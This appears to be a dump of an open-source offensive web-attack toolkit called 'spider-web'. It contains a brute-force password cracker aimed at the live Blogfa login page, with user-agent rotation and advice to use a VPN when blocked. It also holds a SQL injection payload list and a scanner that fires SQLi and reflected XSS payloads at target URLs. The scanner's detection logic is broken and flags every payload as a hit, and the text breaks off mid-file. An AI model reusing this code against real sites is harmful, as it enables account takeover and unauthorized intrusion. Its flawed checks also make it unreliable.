├── src
├── reporter-aparat.py
├── cracker-blogfa.py
├── bug.py
├── reporter.py
└── cracker-hash.py
├── file
├── pay.txt
├── sub.txt
└── admin.txt
├── README.md
└── spider-web.py
/src/reporter-aparat.py:
--------------------------------------------------------------------------------
1 | print ("Sorry, this tool has been deleted and is being updated...")
2 |
--------------------------------------------------------------------------------
/file/pay.txt:
--------------------------------------------------------------------------------
1 | '
2 | )
3 | and 1=2
4 | & 1=2
5 | OR 1 = 1 --
6 | or ''-'
7 | "*"
8 | " or ""&"
9 | " or ""^"
10 | " or ""*"
11 | ' OR BINARY substring(database(), %d, 1) = '%s' -- ","' or ''^'", "' or ''*'
12 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # spider web
2 |
3 | A tool for web attacks and bug bunties
4 |
5 |
crack hash
6 | types :
7 | ____________________
8 | md5
9 | ____________________
10 | sha1
11 | ____________________
12 | sha224
13 | ____________________
14 | sha256
15 | ____________________
16 | sha384
17 | ____________________
18 | sha512
19 | ____________________
20 | blake2b
21 | ____________________
22 | blake5b
23 | Find admin panel and subdomains
24 | --------------------
25 | Reporter of blogfa sites with different user agents
26 | --------------------
27 | Reporter Aparat
28 | --------------------
29 | Cracker of blogfa accounts
30 | --------------------
31 | Bypassing sqli and xss bugs
32 | --------------------
33 | Tool screenshot
34 |
35 | Installation instructions on Linux and Termux
36 |
37 | ```
38 | git clone https://github.com/esfelurm/spider-web
39 |
40 | cd spider-web
41 |
42 | python spider-web.py
43 | ```
44 | --------------------
45 |
46 | Google Hacking
47 |
48 | The tool is being updated
49 |
50 |
51 |
--------------------------------------------------------------------------------
/src/cracker-blogfa.py:
--------------------------------------------------------------------------------
1 | import os
2 | from platform import uname as name
3 | from random import choice
4 | from bs4 import BeautifulSoup
5 | try:from requests import post, get
6 | except:os.system("pip install requests")
7 | rd, gn, lgn, yw, lrd, be, pe = '\033[00;31m', '\033[00;32m', '\033[01;32m', '\033[01;33m', '\033[01;31m', '\033[00;34m', '\033[01;35m'
8 | cn = '\033[00;36m'
9 | def clear():
10 | if 'Windows' in name():
11 | os.system('cls')
12 | try:from colorama import init
13 | except:os.system("pip install colorama")
14 | init()
15 | elif 'Linux' in name():
16 | os.system('clear')
17 | clear()
18 | print (f"""{lgn}
19 |
20 | ### ## ### ### ### ## ## ## ### ## #### ##
21 | ## ## ## ## ## ## ## ## ## ## # ## ##
22 | ## ## ## ## ## ## ## ## ## ##
23 | ## ## ## ## ## ## ## ## ## ## ##
24 | ## ## ## ## ## ## ## ## ## ##
25 | ## ## ## ## ## ## ## ## ## ##
26 | #### ## ### ### #### ## ## #### ## #### {lrd}
27 |
28 | ### ## #### ## ## ## ## ### ### ##
29 | ## ## ## ## ## ## ## ## ## ##
30 | ## ## ## ## ## ## ## ## ##
31 | ## ## ## ## ## ## ### ## ## ## ##
32 | ## ## ## ## ## ## ## ## ## ###
33 | ## ## ## ## ## ## ## ## ## ## ##
34 | ### ## ### ### ## ## ## ## #### ### ##
35 |
36 |
37 | {lrd}github : {lgn}github.com/esfelurm
38 |
39 |
40 |
41 | {lrd}channel telegram : {lgn}@esfelurm""")
42 |
43 | PASSWORD = input(f"{lrd}[{yw}PASS{lrd}] Enter name password list : {lgn} ")
44 | TARGET = input(f"{lrd}---------------------------------------\n\n{lrd}[{yw}URL{lrd}] Enter url TARGET : {lgn}")
45 | user_agent = ["Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1","Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1","Mozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1","Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0",
46 | "Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1",
47 | "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2",
48 | "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0",
49 | "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0",
50 | "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
51 | "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
52 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27",
53 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1",
54 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7",
55 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
56 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1",]
57 | heder = {'Host': 'blogfa.com',
58 | 'User-Agent': choice(user_agent),
59 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
60 | 'Accept-Language': 'en-US,en;q=0.5',
61 | 'Accept-Encoding': 'gzip, deflate, br',
62 | 'Content-Type': 'application/x-www-form-urlencoded',
63 | 'Content-Length': '175',
64 | 'Origin': 'https://blogfa.com',
65 | 'Connection': 'keep-alive',
66 | 'Referer': 'https://blogfa.com/desktop/login.aspx?r=637860193478105692',
67 | 'Upgrade-Insecure-Requests': '1',
68 | 'Pragma': 'no-cache',
69 | 'Cache-Control': 'no-cache'}
70 | info = BeautifulSoup(get('https://blogfa.com/desktop/login.aspx').text, 'html.parser')
71 | token = info.find('input')['value']
72 | for ent_pas in open(PASSWORD, 'r').read().split():
73 | testing = post('https://blogfa.com/desktop/login.aspx', data={"_tt":token,"usrid":TARGET,"ups":ent_pas,"btnSubmit":"ورود+به+بخش+مدیریت+وبلاگ"}, headers=heder).text
74 | if 'کلمه عبور را اشتباه وارد کرده اید' in testing:
75 | print (f"{yw}[{lrd}NO{yw}]{pe} The password is wrong :{lrd} ", ent_pas,"\n")
76 | if 'در حال حاضر به دلیل حفظ امنیت کاربران امکان ورود به بخش مدیریت را ندارید' in testing:
77 | print(f"{lrd}[{yw}ERROR{lrd}]{lgn} You have been blocked by blogfa services! Please turn on the VPN and then start ")
78 | exit()
79 | if 'کلمه عبور را اشتباه وارد کرده اید' not in testing:
80 | print(f"{lrd}[{lgn}√{lrd}] {lgn} Password True : {gn}{ent_pas}")
81 | exit()
82 |
--------------------------------------------------------------------------------
/src/bug.py:
--------------------------------------------------------------------------------
1 | from requests import get
2 | import sys, os
3 | import time
4 | from platform import uname as name
5 | rd, gn, lgn, yw, lrd, be, pe = '\033[00;31m', '\033[00;32m', '\033[01;32m', '\033[01;33m', '\033[01;31m', '\033[00;34m', '\033[01;35m'
6 | cn = '\033[00;36m'
7 | def clear():
8 | if 'Windows' in name():
9 | os.system('cls')
10 | try:from colorama import init
11 | except:os.system("pip install colorama")
12 | init()
13 | elif 'Linux' in name():
14 | os.system('clear')
15 | clear()
16 | print (f"{lgn} Your target should have [/pages.php?id=] or screw")
17 | url, scann = input(f"{lrd}[{yw}URL{lrd}]{be} Enter URL Target : {lgn}"), input(f"{lrd}[{yw}MD{lrd}]{be} Enter method scann {lrd}[{pe}sqli :{cn}1 || {pe} xss : {cn}2 {lrd}]:{lgn} ")
18 |
19 | def SQLI():
20 | print(f"""
21 | {pe}
22 | ## ## ## ## #### ####
23 | ## ## ## ## ## ##
24 | #### ## ## ## ##
25 | ##### ## ## ## ##
26 | ### ## ## ## ##
27 | ## ## ## ## ## ## ##
28 | ## ## ## ## ### ### ####
29 |
30 | {lrd} github : {lgn}github.com/esfelurm
31 |
32 | {lrd} channel Telegram :{lgn} @esfelurm
33 |
34 | {lrd}TARGET : {lgn}{url}
35 |
36 | {lrd}METHOD : SQL INJECTION
37 |
38 |
39 | """)
40 | Payload = open("file/pay.txt", 'r').read().split()
41 | for i in Payload:
42 | UR2 = url.split("=")
43 | UR2 = UR2[0] + '='
44 | s_ur = UR2 + i
45 | requ = get(s_ur).text
46 | if 'FetchRows()' or 'VBScript Runtime' or 'error in your SQL syntax' \
47 | or 'mysql_numrows()' or 'Input String was not in a correct format' or 'mysql_fetch' \
48 | or 'num_rows' or 'Error Executing Database Query' or 'Unclosed quotation mark' \
49 | or 'Error Occured While Processing Request' or 'Server Error' or 'Microsoft OLE DB Provider for ODBC Drivers Error' \
50 | or 'Invalid Querystring' or 'You have an error in your SQL syntax' or 'Syntax Error' or 'GetArray()' or 'mysql_fetch_array()' in requ:
51 | print (f"{cn}--------------------------------")
52 | print(f"\n\n\n{lgn} ! ! ! {cn}The site has a SQL injection error {lgn}! ! !")
53 | print(f" {lgn}Payload used : {cn}",i)
54 | print(f" {lgn} Target link + Payload : {cn}",s_ur)
55 | print (f"{pe}--------------------------------")
56 | else:
57 | pass
58 | def xss():
59 | print (f"""
60 | {lrd}
61 | ::: ::: :::::::: ::::::::
62 | :+: :+: :+: :+: :+: :+:
63 | +:+ +:+ +:+ +:+
64 | {lgn} +#++:+ +#++:++#++ +#++:++#++
65 | +#+ +#+ +#+ +#+
66 | #+# #+# #+# #+# #+# #+#
67 | ### ### ######## ########
68 |
69 | """)
70 | paydone = []
71 | payloads = ['TESTINGest','/TESTING','//TESTING//','alert("TESTING")', "alert('TESTING')", "","""" "/>"""]
72 | URL_TEST = url.split("=")
73 | URL_TEST = URL_TEST[0] + '='
74 | for pl in payloads:
75 | urlte = URL_TEST + pl
76 | re = get(urlte).text
77 | if pl in re:
78 | paydone.append(pl)
79 | else:
80 | pass
81 | url1 = URL_TEST + '%27%3ETESTING%3Csvg%2Fonload%3Dconfirm%28%2FTESTING%2F%29%3Eweb'
82 | sent1 = get(url1).text
83 | if "'>TESTING